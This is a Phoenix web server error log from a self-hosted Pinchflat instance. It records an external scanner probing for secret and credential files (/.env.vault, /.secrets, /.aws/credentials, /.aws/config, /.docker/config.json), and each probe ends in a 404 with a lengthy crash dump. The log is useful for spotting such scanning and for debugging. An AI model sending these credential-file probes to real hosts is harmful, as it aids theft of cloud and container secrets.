PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9788.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.secrets", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDByVZ_F9I7FEAAdnC"} ], scheme: :http, script_name: [], (truncated) 15:22:05.530 [info] GET /.env.vault 15:22:05.531 [debug] QUERY OK source="settings" db=0.0ms idle=474.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:05.531 [debug] QUERY OK source="settings" db=0.0ms idle=474.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:05.531 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:05.531 [error] #PID<0.9790.0> running PinchflatWeb.Endpoint (connection #PID<0.9789.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.vault ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9789.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vault", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47176}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9790.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.vault", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBzOLp9Cgsp4AAdoC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9789.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vault", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47176}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9789.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vault", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47176}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9790.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.vault", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBzOLp9Cgsp4AAdoC"} ], scheme: :http, (truncated) 15:22:05.768 [info] GET /.aws/credentials 15:22:05.768 [debug] QUERY OK source="settings" db=0.1ms idle=475.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:05.768 [debug] QUERY OK source="settings" db=0.1ms idle=475.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:05.768 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:05.768 [error] #PID<0.9792.0> running PinchflatWeb.Endpoint (connection #PID<0.9791.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9791.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47178}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9792.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB0GvBrlzoy0AAdpC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9791.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47178}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9791.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47178}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9792.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:22:06.005 [info] GET /.aws/config 15:22:06.005 [debug] QUERY OK source="settings" db=0.1ms idle=480.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.005 [debug] QUERY OK source="settings" db=0.0ms idle=474.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.005 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:06.005 [error] #PID<0.9794.0> running PinchflatWeb.Endpoint (connection #PID<0.9793.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.aws/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9793.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9794.0>, params: %{}, path_info: [".aws", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.aws/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB0_Q4uDUiy8AAdqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9793.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9793.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9794.0>, params: %{}, path_info: [".aws", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.aws/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB0_Q4uDUiy8AAdqC"} (truncated) 15:22:06.246 [info] GET /.docker/config.json 15:22:06.247 [debug] QUERY OK source="settings" db=0.3ms idle=715.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.247 [debug] QUERY OK source="settings" db=0.0ms idle=478.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:06.247 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:06.247 [error] #PID<0.9796.0> running PinchflatWeb.Endpoint (connection #PID<0.9795.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.docker/config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.docker/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.docker/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47188}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9796.0>, params: %{}, path_info: [".docker", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.docker/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB14zsm-UKMkAAdrC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.docker/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47188}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; 